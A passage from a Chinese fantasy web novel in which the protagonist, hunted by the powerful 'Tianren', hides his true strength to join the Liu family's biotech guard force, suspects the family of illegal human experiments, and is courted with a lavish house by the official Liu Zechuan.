他缓步走到小雪身边,看着她正用指尖轻轻碰了碰叶片上的露珠,便顺势问道:“这里比之前待的聚居地,是不是舒服些?” 小雪闻言抬起头,用力点了点头,声音里还带着一丝雀跃:“嗯!这里很漂亮。” 听着小雪直白的表达,张玉汝的嘴角不自觉地柔和下来。 他原本就打算,等抵达云溪镇后,就去应聘柳家的职位——柳家这次招聘的是核心防御人员,以他的能力,通过考核应该不成问题。 而他留在云溪镇,一方面是想借助柳家的资源,进一步了解雍州的势力格局,找到自己此行的关键线索。 另一方面,也是为了给小雪找一个相对安稳的落脚点,让她不用再跟着自己风餐露宿,不用再担心随时可能出现的异兽。 张玉汝牵着小雪的手走在云溪镇的青石板路上,目光掠过路边盛放的藤蔓花时,心里却悄悄泛起一层隐忧——其实他并非没有想过,要给小雪找一个比“暂时跟着自己”更稳妥的安置处。 毕竟他接下来要踏入柳家的纷争,还要应对未知的风险,带着小雪,终究是把她置于了潜在的危险之中。 可这个念头刚冒出来,就被现实的困境压了下去。 他对雍州的了解,其实远不如小雪——小雪至少还能说出四大家族的大致业务,能分辨出不同聚居地的特点,而他不过是半个月来从流民口中拼凑出些零散信息,连雍州的核心势力分布都没能完全理清。 若真要为小雪找安置处,他既不知道哪里有靠谱的人,也不清楚哪些家族或机构真正愿意收留一个无依无靠的孩子,更怕把小雪托付给陌生人后,反而让她陷入更糟的境地。 目前的他在这里找不到能够让自己信任的人。 另一方面,张玉汝的身份也相当麻烦。 张玉汝心里很清楚,自己并非普通的能力者,身后还牵扯着与“天人”相关的纷争。 他不是没想过联系以前的朋友——那些或许能帮他安置小雪、甚至能为他提供助力的人,但每次拿起通讯器,指尖都会在拨号键上悬停许久,最终还是默默放下。 天人绝非愚昧之辈,他们或许暂时无法精准定位到他的信号,却必然会盯着所有与他有过交集的人。 一旦他用常规手段联系朋友,哪怕只是简单的几句问候,都可能让天人捕捉到异常——他们或许会顺着信号追踪,或许会去调查他朋友的近期行踪,甚至可能用他朋友的安危来设下陷阱。 张玉汝太清楚天人的行事风格,他们从不会放过任何一个可能的突破口,而他不能因为自己的需求,就把身边的人拖进这场危险的漩涡里。 “姜大哥,你在想什么?”小雪的声音突然传来,打断了他的思绪。 少女仰着头看他,眼神里带着几分担忧,“刚才你好像一直在皱着眉头。” 张玉汝回过神,立刻收敛了脸上的凝重,语气尽量轻松:“没什么,就是在想明天去招聘点要带些什么。” 他没有把心里的顾虑说出来——小雪已经经历了太多颠沛流离,他不想再让她为这些复杂的危险而担心。 两人继续往前走,阳光透过树叶的缝隙落在张玉汝的脸上。 带着小雪留在身边,或许不是最完美的选择,却是眼下最安全的办法。等他在柳家站稳脚跟,等他摸清楚雍州的局势,等他找到能彻底避开天人追踪的方式,再慢慢为小雪谋划一个真正安稳的未来。 ———————————————————————————————— 夕阳将云溪镇的藤蔓染成暖金色,张玉汝带着小雪的手慢慢走回临时租住的民居——那是一间带小院子的矮房,院角种着几株柳家培育的耐寒绿植,叶片在晚风里轻轻晃着。 小雪正蹲在院子里逗弄一只路过的灰雀,而张玉汝靠在门框上,目光落在远处柳氏生物园区的方向,思绪却早已沉到了更深的远方。 此刻,他的视角不再局限于云溪镇的安稳,而是穿透了四大家族看似独立的产业版图,触碰到了背后那层若隐若现的阴影——赵、魏、秦、柳这四家,表面上是雍州各自领域的掌控者,可在张玉汝眼里,他们背后大概率都缠绕着“天人”的丝线。 小雪或许听不出聚居地流民闲谈里的破绽,也不懂大型组织发展到一定规模后必然面临的“无形枷锁”,但张玉汝太清楚了——在如今的神州国,但凡能撑起场面的大型势力,几乎没有一家能真正脱离天人的影响。 那些道貌岸然的家伙,一般不会在一家企业刚起步时露面,反而会像耐心的猎手,等对方熬过初创期的艰难、在行业内站稳脚跟、甚至掌握了核心技术或资源后,才缓缓亮出獠牙。 他们的“摘桃子”从不是粗暴的抢夺,而是带着精密计算的渗透——可能是通过看似公平的资本注入,悄悄掌控企业的决策权;可能是安插“顾问”进入核心团队,逐步架空创始人的权力;也可能是抓住企业发展中的某个漏洞,用“合作保护”的名义换取核心技术的共享。 张玉汝在混乱之地听人讲过一个故事:他曾经有个研发新型能源技术的朋友,在企业初具规模时拒绝了天人的“合作邀约”,结果不到半年,企业就遭遇了原材料断供、核心工程师被挖走、甚至生产线莫名失火的连环打击,最后不得不低价出售股权,彻底沦为天人的附庸。 从那时起他就明白,面对天人的渗透,零星的抗争或许能拖延一时,却很难真正摆脱——他们就像一张无形的网,早已把神州国的经济、技术甚至舆论脉络,都悄悄纳入了掌控范围。 而他自己的处境,比那些被渗透的企业主更难。 过去这段时间,张玉汝不是没琢磨过“洗清冤屈”这件事——他曾无数次在深夜里回想自己被诬陷的细节,试图找出能证明清白的证据。 可冷静下来后,他不得不承认一个残酷的现实:天人手里握着最关键的“话语权”,尤其是官方媒体的喉舌,几乎全在他们的掌控之下。 即便他真的能找到足以推翻指控的铁证,又能找谁去公布? 那些依赖官方资源生存的媒体,别说登报发声,恐怕连他递过去的证据都会第一时间转手交给天人。 网络途径更是死路一条,异变之后的网络通信能力和上古时期完全不是一个级别,能够使用网络通信的人少之又少。 况且张玉汝太清楚天人对网络平台的掌控力——他们有专门的团队负责监控关键词,任何与“张玉汝”“天人黑幕”相关的帖子,要么刚发出去就被秒删,要么会被瞬间涌来的水军淹没在谩骂里。 如果他执着于“自证清白”,反而会像在泥沼里挣扎,越动陷得越深,最后只会让天人找到更多抹黑他的理由,甚至牵连到身边的人。 张玉汝心里的某个念头突然变得清晰起来——或许,他从一开始就走错了方向。 既然洗不清自己,不如换个思路,不去辩解,而是主动出击,去找天人的黑料。 这个想法一旦冒出来,就像藤蔓般迅速蔓延。 张玉汝清楚,天人看似是铁板一块,尤其在针对他的时候,各个派系都会暂时放下分歧,拧成一股绳。 可他更清楚,这群以利益为核心的“猎手”,内部的斗争远比外部的对抗凶险得多。 天人内部并非统一的整体,而是分成了不同的派系:有的掌控着媒体舆论,有的垄断着资源供应,有的则专注于技术研发与渗透。他们平时看似合作无间,可一旦出现能打击竞争对手、拓展自身势力的机会,绝不会有半分手软。 毕竟,在天人的规则里,只有利益,没有真正的盟友。 如果他能找到天人某一派系的黑料——比如他们如何用卑劣手段吞并企业,如何操控舆论打压异己,甚至如何利用异兽灾害谋取私利——再悄悄把这些信息泄露给他们的对立派系,结果会怎样? 那些想要击败竞争对手,攫取更多利益的家伙们自然会把这消息里利用起来。 这样一来,不用他动手,天人自己就会掀起内斗。 当然,张玉汝也明白,这样的黑料短时间内不可能动摇天人的根本——他们的根基太深,掌控的资源太多,一次两次的丑闻,顶多让他们损失些颜面,或是让某个小派系受损。 但他要的不是“一击致命”,而是在民众心里埋下一颗“怀疑”的种子。 平时,这颗种子或许只是无关紧要的念头,可一旦天人再出现重大失误,或是遭遇难以掩盖的危机,这颗种子就会生根发芽,让人们开始质疑那些“权威”的声音,开始思考背后隐藏的真相。 想到这里,张玉汝轻轻舒了口气,之前因焦虑而紧绷的肩膀也放松了些。 他意识到,自己过去太执着于“一次性解决问题”,总想着找到一个完美的证据,一次就能推翻所有指控,彻底摆脱天人的追杀。 可现在他才明白,这根本是不切实际的“偷懒想法”。 饭要一口一口吃,路要一步一步走。天人能有如今的规模和影响力,不是一天两天积累的,而是用了几百年、甚至几千年的时间,慢慢渗透到神州国的各个角落。 那么,想要推翻他们,想要还自己一个真正的清白,自然也不可能一蹴而就。 这会是一场漫长的战争。 第 10章 疑点 夜色渐深,云溪镇的虫鸣与远处实验室传来的微光交织成一片静谧的景象。 张玉汝安置好小雪后,独自坐在院子里的石凳上。 此刻,他的目光落在院角那株柳家培育的绿植上,思绪却再次聚焦在了自己的猜想上。 为何他会选择柳家作为突破口呢? 在旁人眼中,柳家凭借柳氏生物的生物医药技术崛起,是雍州四大家族里最具“科技感”的存在,其研发的止血凝胶、抗毒血清更是救过无数人的命,口碑几乎无可挑剔。 可在张玉汝看来,这份“完美”的背后,却藏着一个难以忽视的疑点——柳家推出成熟药品的速度,实在太快了。 他曾在流民口中听过柳氏生物的发家史:十年前,柳家还只是雍州一个不起眼的小家族,靠着倒卖普通药材维持生计。 可短短五年内,他们就接连推出三款针对异兽伤害的“神药”,从最初的止血药剂,到后来能解百种毒素的抗毒血清,再到如今能增强体质的基因药剂,每一款产品都精准击中市场痛点,且上市后迅速通过“临床验证”,获得官方批准推广。 要知道,一款真正成熟可靠的药品,从实验室研发到最终上市,需要经过漫长而严苛的流程:先是药物分子设计与合成,再到细胞实验、动物实验,确认安全性与有效性后,还需分三期进行人体临床试验——一期验证安全性,二期探索适宜剂量,三期扩大样本量验证疗效,整个过程往往需要五到十年,甚至更久。 即便是在异兽威胁迫切、药品审批流程有所简化的当下,也绝无可能在短短几年内连续推出多款“成熟可靠”的核心产品。 这种反常的速度,在张玉汝看来只有两种可能。 第一种是柳家运气极好,恰好招揽到一位或多位天赋异禀的“天才科学家”,这些人能以超越常规的效率突破技术瓶颈,甚至跳过部分非关键实验环节,直接找到最优解。 但这种可能性,在他看来微乎其微——科研从来不是“灵光一现”就能成功的,尤其是生物医药领域,每一步都需要数据支撑,每一个结论都需要反复验证,即便是天才,也很难违背科学规律。 而想到第二种可能性,则让张玉汝的眼神多了几分凝重——柳家极有可能通过“大规模人体实验”,跳过了常规的动物实验与部分临床试验环节,直接用人体数据验证药品效果。 这并非没有先例,在被天人渗透初期,曾有被其操控的药企在挣扎的过程当中为了抢占市场,偷偷用流民或非法入境者做实验,用无数人的健康甚至生命换取药品上市的“捷径”。 若柳家真的选择了这条路,那么其中必然藏着巨大的问题。 要知道,大规模人体实验在神州国属于严重违法行径,即便柳家能通过金钱或权力暂时掩盖,也绝不可能做到“完全合法”——实验对象的来源、实验过程的记录、实验数据的真实性,每一个环节都可能留下破绽。 而这些破绽背后,或许就藏着天人渗透的痕迹:是天人提供了实验对象?还是天人帮助柳家掩盖了违法证据?亦或是柳家的部分核心技术,本就来自天人的“授权”? 这些隐藏在柳家“快速崛起”背后的信息,正是张玉汝认为“值得探索”的关键。 对他而言,选择柳家作为突破口,绝非偶然——比起掌控农业的赵家、手握武装的魏家、垄断矿业的秦家,柳家的生物医药业务更贴近“技术核心”,也更容易留下违法或与天人勾结的证据。 一旦能找到柳家进行非法人体实验的实锤,不仅能借此牵制柳家,更有可能顺藤摸瓜,挖出背后天人的线索,为他后续收集材料、撬动天人内部矛盾埋下伏笔。 夜风轻轻吹过,带起石凳上的一片落叶。 明天,他就要去柳家的招聘点报名,而踏入柳家的第一步,便是要找到解开这些疑点的钥匙。 ———————————————————————— 柳家的招聘会从清晨天还没亮透时,就把云溪镇西南角的旧工厂区搅得热闹非凡。 这片原本用来堆放废弃医疗器械的场地,如今被临时改造成招聘点 —— 生锈的铁皮厂房外,原本坑洼的水泥地上铺了层半透明的纳米防滑垫,泛着淡淡的蓝紫色光泽,垫子边缘还印着柳家生物医药的标志性 logo:一株缠绕着基因链的银色梧桐。 这是柳家从主城总部调运的物资,可再往前几步,就是连路灯都时亮时灭的老旧街道,墙角堆着淘汰的初代基因检测仪器外壳,两种景象凑在一起,透着未来科技与破败旧区的诡异反差。 虽说这次招聘的岗位明眼人都知道危险性不小 —— 柳家的招聘启事上写得明白,要招一批具有战斗力的能力者,负责守护城郊的生物医药原料种植园,以及运输车队的安全。 前阵子就有消息传,柳家的原料车在半路遭了 “铁脊兽” 袭击,车厢被兽爪划开半米长的口子,车上刚采摘的珍稀药用菌全被啃得稀烂,据说当时护卫的能力者为了阻拦异兽,胳膊都被兽牙咬穿了 —— 但架不住柳家开的待遇实在诱人。 不仅每月能领三万神州币,还承诺按月发放柳家自研的 “体能修复剂”,那东西能快速愈合被异兽利爪、獠牙造成的外伤,就算是中阶能力者,也得托关系才能买到,对靠战斗力吃饭的人来说,比现金还实用。 张玉汝站在工厂区对面的二楼茶馆里,指节分明的手握着玻璃杯,指腹无意识地蹭过杯壁上细微的纹路。 杯里的茶水用的是普通过滤水,可盛水的杯子却是柳家旗下子公司生产的生物陶瓷杯,杯身侧面的微型屏幕正跳动着淡绿色的 “水质安全” 字样 —— 这就是云溪镇的常态,高端科技像碎片一样散落在生活各处,却凑不成完整的体系。 他抬眼望向斜下方的招聘点,视线轻易越过攒动的人头,这是他作为能力者的天赋,不需要借助任何设备,就能看清百米外排队人群袖口别着的编号牌。 仅仅这一个位于旧工厂区的招聘点,队伍就像条蜿蜒的长蛇,从厂房门口一直绕到街角的自动贩卖机旁。 张玉汝大致数了数,每二十个人组成一个小队,前面已经排到了第五十队,算下来最少有上千名能力者在这里等着。 他们当中有人穿着镶有防弹纤维的战术服,衣角还沾着上周在 “废墟带” 和异兽搏斗时的暗褐色血渍,裤腿上甚至能看到被兽爪勾出的破洞。 也有人只套着洗得发白的旧卫衣,手里攥着皱巴巴的能力者登记证,指节因为用力而泛白 —— 显然是刚从外围城区赶来的散人,想靠柳家这份 “护院” 工作安稳赚神州币,不用再天天冒着被异兽偷袭的风险,在废墟里捡废品度日。 而他昨天从柳家的信息终端上看到,像这样的招聘点,在云溪镇总共设有八个。 有的设在科技园区旁,应聘者能直接被扫描核对能力等级,旁边还摆着柳家新出的 “战斗体能测试仪”,据说能模拟异兽攻击的力度,测试者扛住的次数越多,应聘成功率越高。 有的则在老居民区里,连身份验证都得靠工作人员手动核对。 可不管条件如何,每个招聘点外的队伍都长得吓人,毕竟柳家是雍州数一数二的生物医药巨头,跟着他们干,不仅神州币给得足,连被异兽抓伤后的治疗,都能用柳家内部价拿特效药,这对常年和异兽打交道的能力者来说,简直是天大的诱惑。 张玉汝轻轻呼出一口气,目光落在队伍前端那个正在调试能量检测仪的柳家管事身上。 这位管事还动用了 “精神屏蔽” 类的异能,防止有人在排队时用读心术打探招聘内幕。 这阵仗,足以看出柳家对 “护院” 的重视,也能猜到,为了争夺这份能稳定拿神州币、还能领修复剂的工作,这些来自不同地方的能力者们,接下来还会使出多少手段。 不过对张玉汝来说,混进柳家实在算不上难事。 他来到招聘点的树荫下,指尖轻触身旁老槐树的树皮,微凉的触感顺着指尖蔓延至全身 —— 这不是随意的动作,而是他 “融身自然” 能力的起手式。 不同于其他能力者需要靠芯片、药剂掩盖能量波动,张玉汝的隐藏,全凭自身对自然之力的掌控:他能将自身的异能气息拆解成风的流动、叶的震颤,甚至是土壤里微生物的微弱律动,彻底融入周围环境,仿佛他本就是这片天地的一部分,而非拥有强大力量的能力者。 在过去几年里,他已抵达了大师级巅峰。 在种种特殊能力加持下,哪怕对上一般的宗师级,张玉汝不仅能周旋不落下风,更能让对方连他的真实实力都摸不透。 但这些底牌,他显然不会在柳家的招聘会上展露。 加入柳家,需要的是 “合适” 而非 “顶尖”。 他对外展示的实力始终是高级九段 —— 这个段位既符合他伪装出的三十多岁的年龄(太年轻难免引人猜忌),又恰好卡在柳家会重视的门槛上。 既不会像低阶能力者那样需要耗费资源培训,又不会太过扎眼而被柳家高层提防,反而有着不小的投资价值,正好符合他 “低调潜伏” 的目的。 以他 “融身自然” 的能力,哪怕释放出高级九段的能量,宗师级也只会觉得这是他的真实实力,绝不会察觉到那层层自然气息下,还藏着大师级巅峰的锋芒。 果不其然,当他走到能量检测仪前,抬手释放出高级九段的能量波动时,原本正低头核对信息的柳氏生物员工猛地抬起了头。 那员工戴着一副嵌有生物传感器的眼镜,镜片上瞬间闪过一串绿色数据 —— 那是柳家自研的能量分析系统,据说能勉强探测到大师级的能量阈值,可此刻屏幕上显示的,只有平稳的高级九段波形。 员工反复确认了三遍,才连忙放下手里的登记本,语气都比刚才恭敬了几分:“这位先生,您跟我来,高级六段以上的能力者有专门的考核场地。” 张玉汝跟着对方穿过喧闹的人群,沿途不少排队的能力者投来羡慕的目光 —— 他们大多是中低阶异能者,还得等着参加体能测试、异兽模拟对抗等一轮又一轮的筛选,而高级六段以上的人,显然能跳过这些繁琐流程。 走了约莫五分钟,一座造型奇特的建筑渐渐出现在视野里:整体宛如一枚平放的枫叶,暗红色的墙体是用特殊合金浇筑的,表面却缠绕着层层叠叠的绿植。 这些不是普通的藤蔓,而是柳家自研的 “防御型药用藤”,叶片边缘泛着淡淡的荧光,据说不仅能吸收空气中的有害物质提纯成药材,还能在遭遇攻击时瞬间绷紧,像铠甲一样挡住异兽的利爪,甚至能分泌出麻痹性汁液,困住靠近的敌人。 “这是夜枫楼,咱们柳家防卫队的核心大楼。” 带路的员工侧身做了个 “请” 的手势,语气里带着几分自豪,“您放心,这里的考核很简单,不用跟异兽实战,也不用测体能,只要露一手您的异能,再回答几位队长的问题就行。” 说话间,两人正好经过楼前的一处岗亭,里面坐着一位头发花白的老者 —— 张玉汝瞬间捕捉到老者领口露出的宗师级能力者徽章。 那老者似乎察觉到有人靠近,抬眼扫了他一眼,眉头微蹙,像是在感知什么,可片刻后又缓缓舒展开—— 显然,哪怕是宗师级的感知,也没能穿透张玉汝融于周围草木的气息,只当他是个普通的高级九段能力者。 张玉汝心中微定,跟着员工走进夜枫楼。一股淡淡的药香扑面而来 —— 楼内的通风系统里掺了柳家特制的安神草药,既能缓解能力者释放异能后的疲劳,也能悄悄稳定人的情绪。 大厅中央摆着一个半人高的透明装置,里面悬浮着几片枫叶形状的晶体,员工指着装置解释:“这是异能展示台,您只要将能量注入进去,它就能显示您的能量类型和精准强度,比外面的检测仪更精确。” 张玉汝点点头,抬手按在晶体上。他没有急着释放能量,而是先让自身气息与周围的药香、楼内盆栽的绿意轻轻融合,随后才缓缓注入高级九段的能量。 透明装置里的枫叶晶体瞬间亮了起来,泛着柔和的淡蓝色光芒,旁边的屏幕上跳出一行字:“能力类型:速度,强度:高级九段。” 第 11章 拉拢 透明装置的播报声刚落,站在不远处的柳家考核人员眼睛瞬间亮了 —— 那是个留着寸头、穿着灰色制服的男人,胸前挂着 “考核组组长” 的铭牌,他原本正靠在墙边漫不经心地翻看记录册,此刻却猛地直起身,快步走到屏幕前,指尖在屏幕上反复滑动,确认着 “高级九段” 那行字,嘴角抑制不住地往上扬。 可当视线扫到 “能力类型:速度” 时,他脸上的喜色像是被泼了盆冷水,瞬间淡了下去。 眉头轻轻皱起,手指无意识地摩挲着下巴,嘴里还轻轻叹了口气,声音不大却足够清晰:“哎,怎么偏偏是个速度类能力者。” 他身边另一个戴眼镜的年轻考核员也凑了过来,看着屏幕上的信息,语气里满是可惜:“是啊,这种年龄,这种实力,如果是大地类或者林木类的能力者就好了 —— 咱们种植园最近总遭铁脊兽偷袭,正缺能扛伤、能硬打的能力者呢。” 类似的嘀咕声接二连三地响起,虽然几人都刻意压低了声音,像是怕被张玉汝听见,可在张玉汝 “融身自然” 的感知里,这些声音和耳边拂过的风声一样清晰 —— 他甚至能捕捉到年轻考核员指尖划过记录册时的细微摩擦声。 不远处,那位头发花白的柳家宗师依旧坐在原地,显然也听到了这些讨论,却连眼皮都没抬一下,仿佛讨论的不是眼前的高阶能力者,而是无关紧要的小事。 张玉汝站在原地,神色没什么变化。 他早就料到会有这样的反应,让人背后说几句闲话而已,又掉不了几块肉。 那位寸头组长虽然满脸遗憾,却没耽误正事。 他定了定神,收起脸上的惋惜,快步走到张玉汝面前,脸上重新挤出礼貌的笑容,语气也恢复了沉稳:“姜先生,您已经通过了考核,欢迎加入柳氏集团。” 他顿了顿,从口袋里掏出一枚银色的身份徽章,递到张玉汝面前,徽章上刻着柳家的梧桐 logo,还有一串专属编号,“这是您的临时身份徽章,之后的工作安排、薪资发放细则,会有专门的对接人员在一小时后联系您,到时候您有任何疑问都可以向对方咨询。” 说罢,他主动伸出手,掌心干燥而有力。 张玉汝也伸出手,与他轻轻握了握。 握手的间隙,张玉汝眼角的余光再次扫过岗亭里的宗师。那位老者终于抬了次眼,目光在他身上短暂停留了一瞬,却没有任何能量探测的意图,仿佛只是随意一瞥,随后便重新低下头。 显然,对这位宗师来说,无论是速度类还是其他类型的高级九段能力者,都不足以让他多费心思 —— 除非张玉汝暴露大师级巅峰的实力。 柳家厅堂里的气氛像是被无形的重物压着,当测试水晶最终映出代表 “速度” 的淡青色光晕时,在场柳家众人脸上的期待瞬间褪去,取而代之的是一种难以掩饰的失望。 可若仔细琢磨便会发现,这份失望并非源于对速度类能力者的轻视 —— 毕竟在能力者的世界里,从没有哪种类型的能力能被轻易判定为 “弱小”。 无论是各种各样的元素类型,还是稀少特殊的空间星辰,又或者是张玉汝这般以速度见长的类型,最终能发挥出怎样的实力,终究要看使用者对能力的理解深度与临场运用的巧思。 真正让柳家众人提不起兴致的,是速度类能力者那条堪称 “荆棘丛生” 的晋升之路。 柳家作为这片区域里根基深厚的大家族,与那些只能在底层挣扎、连招募正式能力者都困难的小势力截然不同。 对于柳家而言,他们非但不排斥自家招募的人员中出现有潜力冲击 “大师级” 的苗子,反而打心底里乐意看到这样的情况 —— 毕竟以柳家的底蕴和人脉,想要拉拢一位初露锋芒的大师级能力者,或是通过资源扶持与规则约束将其纳入掌控范围,都算不上多么棘手的事情。 既然能将这份强大的战力牢牢锁在自己的体系内,他们自然不会拒绝多添一位未来的强者。 而此刻站在厅堂中央的张玉汝,对外展露的实力早已摸到了大师级的门槛,距离那层象征着高阶能力者的壁垒仅有一步之遥。 可就是这看似近在咫尺的一步,却像横亘在无数能力者面前的天堑,古往今来不知困住了多少卡在瓶颈、终其一生都无法突破的人。 更关键的是,速度类能力者想要突破这道瓶颈,所需的资源远比其他类型要昂贵得多 —— 从能提升神经反应速度的 “流萤草”,到可强化身体爆发力的 “兽王晶核”,每一样都是市面上千金难寻的珍品。 即便柳家家底殷实,也绝不可能为了一个毫无根基、刚通过初步测试的 “外人”,投入如此庞大的资源去赌一个不确定的未来。 所以,当测试水晶上的淡青色光晕稳定下来,张玉汝的能力类型彻底显露的那一刻,柳家众人看向他的眼神里便少了最初的热切,连带着原本准备好的后续问询与优待,也悄悄下调了不少档次。 这番被旁人看在眼里会觉得失落的场景,落在张玉汝自己身上,却没有掀起半分波澜 —— 因为这一切本就在他的预料之中。 他从一开始就清楚,速度类能力者在大家族眼中的尴尬处境,也明白自己展露的实力与类型,只会换来这样不温不火的对待。 毕竟,他顶着这个临时编造的身份来参加柳家的招募,从来都不是真的想加入柳家、靠着对方的资源一步步往上爬。 柳家对他看重也好,轻视也罢,于他而言都不过是无关紧要的插曲。 虽然柳家对他未来的潜力并不看好,但这并不影响对他现在表现出来的实力的认可,高级九段的能力者对于现在急需抵抗异兽的柳家来说也是值得拉拢的。 张玉汝刚走出柳家考核大厅,还没来得及梳理刚才测试中的细节,一道温和的声音便从身后传来。 转身望去,只见一名身着藏青色锦袍的中年男子正快步走来,袖口绣着的银线柳纹在阳光下泛着细腻的光泽 —— 此人正是柳家后勤部门的核心成员,柳泽川。 与考核时柳家长老们的冷淡态度不同,柳泽川脸上始终挂着恰到好处的热情笑容,眼角的细纹里都透着几分亲和。 他快步走到张玉汝面前,先是温和地询问了考核时的感受,又细致地打听了张玉汝目前的居住情况,言语间的关切不似作伪。 当得知张玉汝暂时还在云溪镇外围的小院暂住时,柳泽川立刻拍了拍手掌,语气带着几分不容拒绝的热情:“姜兄弟既然通过了考核,便是咱们柳家的人了,怎么能委屈住在外面?我已经让人在云溪镇核心区的‘观澜苑’准备了一套宅院,你这就跟我去看看,若是有不满意的地方,咱们再调整。” 张玉汝心中微微一动 —— 他此前曾听闻,“观澜苑” 是云溪镇最好的楼盘,不仅背靠青峦山、前临月牙湖,推窗便能看见湖光山色,更关键的是,那里的安保由柳家直系子弟亲自负责,进出都需要双重令牌验证,寻常人连靠近都难。 而且他隐约记得,柳家最初承诺给通过考核者的待遇,不过是在镇上普通居民区分配一间两居室,像 “观澜苑” 这样的核心地段房产,就算是柳家的中层管事,也未必能住得上。 很显然,柳泽川这是在刻意示好,甚至带着几分拉拢的意味。 或许是自己在考核中展露的实力让柳泽川觉得有投资价值,又或许是柳泽川想在后勤部门之外,培养一些属于自己的人脉 —— 无论原因是什么,这份好意都来得有些突然。 张玉汝没有戳破这层窗户纸,也没有说些 “不必如此破费” 之类的不识趣的话,只是微微颔首,脸上露出一抹似笑非笑的神情,那笑容里带着几分了然,仿佛在说 “我明白你的心思”,却又不点透,恰好是一种 “一切尽在不言中” 的默契。 他在心里暗自盘算:反正自己本就没打算在柳家长期发展,这次加入不过是为了借柳家的资源查些事情。 柳泽川有自己的心思也好,想拉拢他也罢,只要对方能真真切切地提供帮助 —— 比如帮他接触到柳家的一些隐秘,或是让他有机会参与柳家对外的一些事务,那他偶尔帮柳泽川处理些后勤上的小麻烦,或是在旁人面前给柳泽川几分面子,也没什么不可以的。 毕竟,多一个朋友总比多一个敌人好,更何况,这个 “朋友” 还手握他目前需要的资源。 柳泽川见张玉汝没有拒绝,脸上的笑容更浓了,连忙做了个 “请” 的手势,亲自引着张玉汝往柳家专属的马车停放处走去。 马车是用上好的乌木打造,车厢内壁铺着柔软的狐裘垫子,角落里还放着一碟刚剥好的松子和一壶温热的花茶,处处透着精致与周到,显然是早就准备好的。 坐进柳家那辆装饰精致的乌木马车时,张玉汝触到柔软的狐裘垫子,却并没有忘了还在小院里等着他的小雪 —— 那处临时租住的小院就在云溪镇外围,与核心区是截然不同的两个世界。 他当即开口对身旁正翻看着账本的柳泽川说道:“柳兄,还有件事得劳烦你稍等片刻,我还有位同伴在城外的小院等着,不如先绕路去接她一同过去?” 柳泽川闻言立刻合上账本,脸上没有半分不耐,反而笑着应道:“姜兄弟说的哪里话,朋友之间本就该互相照拂,更何况是你看重的人。” 说着便掀开车帘,对外面的车夫吩咐道:“先不去观澜苑,改道去城外,动作稳些,别让车里的贵客颠簸了。” 马车缓缓驶入梧桐巷时,小雪正坐在小院的石凳上,眼神里带着几分担忧 —— 她知道张玉汝去参加柳家的考核,也信他有本事。 可毕竟柳家是云溪镇的大家族,规矩多、人心杂,她总担心这件事没有那么轻松。 直到那辆乌木马车停在院门口,车身上雕刻的缠枝莲纹在阳光下格外亮眼,车夫恭敬地掀开厚重的车帘,她才猛地站起身,眼神里满是不可置信。 “小雪,快上车,咱们去新住处。” 张玉汝探出头朝她招手,柳泽川也跟着下车,脸上挂着温和的笑容,主动走上前对小雪拱手道:“这位姑娘想必就是姜兄弟的小雪姑娘吧?我是柳泽川,今日能见到姑娘,真是幸会。” 他说话时语气放得极柔,没有半分大家族子弟的倨傲,反而像认识多年的长辈般亲切。 一路上,柳泽川怕小雪拘谨,特意找些轻松的话题聊 —— 他说起云溪镇的趣事,比如东市那家每天只卖五十笼的蟹黄汤包,得凌晨去排队才能买到。 又说起月牙湖的荷花再过半个月就要开了,到时候乘船赏花是镇上最热闹的事。 他说话时带着几分幽默,偶尔还会模仿镇上小贩的叫卖声,逗得小雪忍不住笑出声,原本心里的那点担忧也渐渐消散。 等马车抵达观澜苑时,小雪更是被眼前的景象惊得微微睁大了眼睛 —— 那处别墅是典型的江南庭院风格,白墙黛瓦,院内种着几株垂丝海棠,花瓣落在青石板路上,平添几分雅致。 推开木门,客厅宽敞明亮,家具都是上好的红木打造,窗边还摆着一架古筝;后院有个小池塘,里面养着几尾锦鲤,旁边的石桌上还放着一套新的茶具。 张玉汝走进卧室时,发现被褥都是刚晒过的,带着淡淡的阳光味道。 柳泽川没有急着离开,反而跟着他们走遍了整个院子,时不时询问:“小雪姑娘觉得这院子怎么样?若是喜欢花,我让人再送些月季和茉莉过来;姜兄弟若是需要书房,我明天就让人把书架和笔墨纸砚送过来,保证都是最好的料子。” 他注意到小雪看到池塘时眼中的喜爱,特意说道:“这池塘里的锦鲤是特意选的短尾品种,温顺得很,姑娘若是没事,喂喂鱼也是个乐子。” 张玉汝看着柳泽川忙前忙后的身影,心里暗自感叹 —— 他当然知道柳泽川这么周到是别有所求,无非是想拉拢他这个 “有潜力的能力者”。 可不得不承认,柳泽川的细致和热情确实让人很难生出反感,尤其是他对小雪的尊重与照顾,没有因为小雪看似普通的身份就怠慢半分,这份分寸感,倒让张玉汝对他多了几分好感。 他笑着拍了拍柳泽川的肩膀:“柳兄太客气了,这里已经很好了,倒是让你费心了。” 第 12章 上工 柳泽川并没有在带张玉汝参观完别墅后便起身告辞,反而顺势在客厅的红木沙发上坐了下来,他心里早就打定了主意,要把这一整天的时间都耗在张玉汝这里,从清晨的接风,到正午的宴请,再到傍晚的庭院闲谈,每一个环节都要安排得妥帖周到。 侍者很快端上了刚泡好的清茶,茶叶在青瓷杯里舒展,氤氲的热气带着淡淡的清香,驱散了清晨的微凉。 柳泽川看着张玉汝和小雪坐在对面,状似随意地聊着云溪镇的风土人情,眼神里却藏着几分旁人不易察觉的考量。 作为柳氏集团后勤部门的核心成员,柳泽川在家族里的地位确实不算低 —— 他手里管着集团半数以上的物资调配,小到日常的米面粮油,大到能力者修炼所需的稀有矿石,都要经过他的手。 可只有他自己清楚,这份 “权力” 背后藏着多少限制:上层有几位长老盯着,同辈里还有几个堂兄弟虎视眈眈,想要把他从这个位置上拉下来。 他手里能自由动用的资源,其实并没有外人想象中那么多,若是像撒种子一样 “大水漫灌”,对每个有潜力的新人都投入一点,最后大概率是竹篮打水一场空,既落不下人情,也换不来实际的助力。 因此柳泽川一直奉行 “精耕细作” 的原则 —— 与其把资源浪费在十个平庸之辈身上,不如集中资源,赌在一两个真正能成大事的人身上。 可这些年来,他看过的能力者没有一百也有八十,要么是天赋尚可却心性浮躁,要么是沉稳有余却潜力不足,始终没能找到一个让他愿意押上大部分资源的 “潜力股”。 而在看到张玉汝的那一刻,柳泽川便立刻被吸引了。 柳泽川对张玉汝的表现印象很深刻,张玉汝站在测试水晶前时没有半分毛躁,他的身上似乎有着一种独特的气质,让人能够不自觉的安静下来。 测试出 “速度类” 的能力类型时,周围人都露出失望的神色,他却连眼皮都没抬一下,仿佛早就预料到了这些人会有这样的反应。 更让柳泽川在意的是,张玉汝展现出的 “高级九段” 